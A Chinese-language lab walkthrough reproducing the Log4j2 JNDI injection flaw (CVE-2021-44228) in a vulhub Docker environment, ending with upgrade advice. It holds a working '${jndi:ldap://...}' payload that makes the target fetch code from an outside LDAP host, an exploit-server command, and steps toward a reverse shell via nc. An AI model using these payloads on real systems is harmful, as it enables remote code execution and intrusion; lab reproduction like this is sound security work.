漏洞简介

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。

此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行,该漏洞影响 Apache Log4j2 < 2.15.0版本。

环境搭建

这里可以直接使用vulhub复现

1
2
cd /vulhub/log4j/CVE-2021-44228
docker-compose up -d

漏洞复现

首先使用JNDI-Injection-Exploit启动一个服务端,希望执行touch /tmp/hack.txt命令:

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/hack.txt"

image-20220808160733197

输入payload:

1
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://ip:1389/mjzxno}

服务端收到反馈:

image-20220808161049390

命令执行成功:

image-20220808161240947

反弹shell

通过该网址base64编码反弹shell命令:https://x.hacking8.com/java-runtime.html

image-20220808164752797

启动nc监听,输入payload,成功反弹shell:

image-20220808165045388

漏洞方案

升级log4j Core至2.15.0版本及以上,推荐升级到最新版本:

官方下载地址:https://logging.apache.org/log4j/2.x/download.html